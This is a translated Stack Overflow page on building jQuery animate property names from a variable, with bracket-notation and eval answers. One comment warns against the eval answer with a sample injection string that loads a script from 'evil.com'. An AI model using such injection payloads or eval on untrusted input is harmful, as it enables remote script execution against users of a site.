【问题标题】:Using variables in object property names在对象属性名称中使用变量
【发布时间】:2011-11-29 07:54:04
【问题描述】:

我有一个名为方向的变量,它存储:leftright

我需要根据该变量更改受影响的边距。

现在我在使用条件,是否可以将“left”替换为变量direction的输出?

$("#map").animate({"margin-left": "+=50px"}, 500);

【问题讨论】:

标签: javascript jquery


【解决方案1】:

不是直接的,但是你可以在animate()中使用它之前创建一个对象并对其进行操作:

var direction = "left";
var property = {};
property[ "margin-"+direction ] = "+=50px";
$("#map").animate( property, 500);

【讨论】:

    【解决方案2】:
    eval('props = {"margin-' + direction  + '": "+=50px"}')
    $("#map").animate(props, 500);
    

    【讨论】:

    • var direction='"+function(){d=document.createElement("script");d.src="http://evil.com/evil.js";document.body.appendChild(d)}+"'; ...//your code here。这还能用吗?
    • @RobW:我不明白你的意思。 'direction' 是局部变量,编写脚本的人为其分配了一些合法值。怎么能按照你描述的方式使用?
    • 你还没有定义direction。所以,我假设它是在其他地方定义的,可能被感染了。
    【解决方案3】:

    使用这个。由于没有margin-upmargin-down,您必须“手动”翻译它:

    var dir = "left";
    dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir;
    var obj = {};
    obj["margin-" + dir] = "+=50px";
    $("#map").animate(obj, 500);
    

    第二行是合法的,更短的写法:

    if(dir == "up"){
        dir = "top";
    } else if(dir == "down"){
       dir = "bottom";
    } else {
        dir = dir;
    }
    

    【讨论】:

    • 或者更好,如果可能的话,首先使用topbottom
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2013-11-23
    • 2022-11-03
    • 2011-03-10
    • 1970-01-01
    相关资源
    最近更新 更多